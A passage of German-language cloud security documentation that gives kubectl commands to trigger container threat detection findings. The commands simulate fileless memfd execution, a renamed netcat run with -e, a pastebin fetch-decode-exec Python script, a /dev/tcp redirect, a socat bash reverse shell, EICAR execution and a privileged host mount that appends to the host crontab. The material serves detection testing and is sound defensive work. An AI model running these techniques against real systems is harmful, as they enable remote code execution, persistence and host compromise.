tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Mit diesem Testverfahren wird ein Execution: Fileless Execution in /memfd:-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausnutzung der Sicherheitslücke „Ingress Nightmare“

Wenn Sie ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ (Vorabversion) auslösen möchten, führen Sie die nginx-Binärdatei in Ihrem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in eine Nginx-Binärdatei (nginx) umbenannt und mit zusätzlichen Argumenten ausgeführt, die auf das /proc-Dateisystem verweisen. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit dem Ingress Nightmare-Exploit (CVE-2025-1974) übereinstimmt, was auf eine potenzielle Ausführung von Remote-Code hinweist.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie eine Nginx-Binärdatei wie nginx und führen Sie sie aus, während Sie auf das /proc-Dateisystem zugreifen:

x86-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

ARM-Knoten:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ingress Nightmare-Sicherheitslücke“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Execution: Kubernetes Attack Tool Execution

Wenn Sie ein Ergebnis des Typs „Ausführung: Kubernetes-Angriffstool ausgeführt“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Kubernetes-Angriffstool wie amicontained ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

ARM-Knoten:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausführung von Kubernetes-Angriffstools“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Ergebnis des Typs Execution: Local Reconnaissance Tool Execution auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung der umbenannten Binärdatei ein Verhalten simuliert, das mit einem lokalen Aufklärungsversuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein lokales Ausspähtool wie linenum.sh ein und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

ARM-Knoten:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Lokales Aufklärungstool ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Schädlicher Python-Code ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Schädliches Python ausgeführt“ auslösen möchten, können Sie Python in Ihrem Container gemäß der folgenden Anleitung ausführen.

Bei diesem Verfahren wird das neueste Python-Image bereitgestellt, Python-Code kopiert, der verdächtig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Script in einem neuen Container aus.

Dieser Python-Code stammt aus einem Honeypot. Es wurde jedoch so modifiziert, dass das schädliche Binärprogramm nicht ausgeführt wird. Die Ausführung des Skripts führt nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL ist nicht vorhanden. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler ausgegeben. Dies ist zu erwarten. Der Versuch, eine Binärdatei mithilfe eines Inline-Skripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

ARM-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Schädliches Python-Skript ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden beim Erstellen eines Containers vorübergehend alle Ergebnisse vom Typ „Ausführung: Bösartiges Python ausgeführt“ von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Bösartiges Python ausgeführt“ sehen möchten, während Sie einen Container einrichten, stellen Sie dem Container- oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /etc/issue in eine EICAR-Testdatei für schädliche Software geändert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die erstellte /etc/issue während der Containerlaufzeit als EICAR-Test-Binärdatei modifiziert wird und die EICAR-Binärdatei laut Threat Intelligence eine bekannte schädliche Datei ist.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"

ARM-Knoten:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Ausgeführte modifizierte schädliche Binärdatei“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: geänderte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden der Bibliothek einer vorhandenen Datei ist unerwartet, da die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Fügen Sie die EICAR-Datei hinzu und laden Sie sie:

x86-Knoten:

tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /etc/issue;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
      sleep 10"

ARM-Knoten:

tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
"$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /etc/issue;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
      sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Netcat-Remote-Codeausführung im Container

Um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen, muss ein Binärprogramm, das zur Netzwerkkommunikation fähig ist (z. B. netcat selbst oder eine umbenannte Kopie eines anderen Dienstprogramms), im Container vorhanden sein und ausgeführt werden. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image als Basis bereitgestellt. Das Binärprogramm /bin/ls wird kopiert und in nc (ein Netzwerkdienstprogramm) umbenannt. Dieses umbenannte Binärprogramm wird dann mit Argumenten ausgeführt, die für die Netzwerkinteraktion geeignet sind. Diese Aktivität wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das häufig bei tatsächlichen Versuchen zur Ausführung von Remote-Code in containerisierten Umgebungen beobachtet wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Netzwerkkommunikationstool wie nc ein und führen Sie sie mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nc; /tmp/nc -e"

ARM-Knoten:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nc; /tmp/nc -e"

Mit diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Damit ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis ausgelöst wird, muss die Ausführung eines Shell-Prozesses durch foomatic-rip erfolgen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/bash nach /tmp/foomatic-rip kopiert. Die umbenannte und kopierte Binärdatei wird als Shell-Script ausgeführt, um einen untergeordneten Shell-Befehl zu erstellen. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, beliebige Arbeitslasten auf kompromittierten Systemen auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie den Befehl mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

ARM-Knoten:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Bei diesem Testverfahren wird ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Um einen Execution: Possible Remote Command Execution Detected-Befund (Vorabversion) auszulösen, muss die Ausführung eines Befehls oder Binärprogramms, das üblicherweise mit der Ausführung von Remote-Befehlen in Verbindung gebracht wird, in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in touch (oder ein anderes Tool wie find) um. Dieses umbenannte Binärprogramm wird dann mit Argumenten ausgeführt, die für die Ausführung von Remote-Befehlen geeignet sind. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, unbefugten Remotezugriff auf oder vom Container aus herzustellen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei wie touch mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

ARM-Knoten:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Mit diesem Testverfahren wird ein Execution: Possible Remote Command Execution Detected-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Wenn Sie ein Ergebnis des Typs Execution: Program Run with Disallowed HTTP Proxy Env auslösen möchten, führen Sie ein Programm in einem Container aus und legen Sie eine HTTP-Proxy-Umgebungsvariable auf einen nicht zulässigen Wert fest. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/curl umbenannt. Die umbenannte Binärdatei wird dann mit einem nicht zulässigen Wert für eine HTTP-Proxy-Umgebungsvariable (z. B. HTTP_PROXY, http_proxy) ausgeführt. Die Kombination aus Programmausführung und dem Vorhandensein einer nicht zulässigen HTTP-Proxy-Umgebung wird als verdächtig gekennzeichnet, da sie auf einen Versuch hindeutet, über einen nicht autorisierten Proxy zu kommunizieren.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer nicht zulässigen Umgebungsvariable für den HTTP-Proxy aus:

x86-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

ARM-Knoten:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Mit diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Socat-Reverse-Shell erkannt

Wenn Sie eine Execution: Socat Reverse Shell Detected-Suche auslösen möchten, muss mit dem socat-Dienstprogramm eine Reverse-Shell-Verbindung für einen Prozess hergestellt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das socat-Dienstprogramm ist installiert und ein lokaler TCP-Listener wird erstellt und dann vom socat-Dienstprogramm gebunden. Die von socat erstellte Reverse-Shell wird als verdächtig gekennzeichnet, da sie es einem Angreifer ermöglicht, beliebige Arbeitslasten auf dem System auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen Container und führen Sie das socat-Dienstprogramm aus:

x86-Knoten:

tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"

ARM-Knoten:

tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"

Mit diesem Testverfahren wird ein Execution: Socat Reverse Shell Detected-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Verdächtige Cron-Änderung (Vorschau)

Wenn Sie die Erkennung verdächtiger Cron-Änderungen auslösen möchten, ändern Sie die Datei /etc/crontab des Hosts über einen Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Root-Dateisystem des Hosts im Container bereitgestellt. Anschließend wird die Crontab-Datei aktualisiert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie einen Befehl aus, um die Datei /etc/crontab des Hosts zu ändern.

x86-Knoten:

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
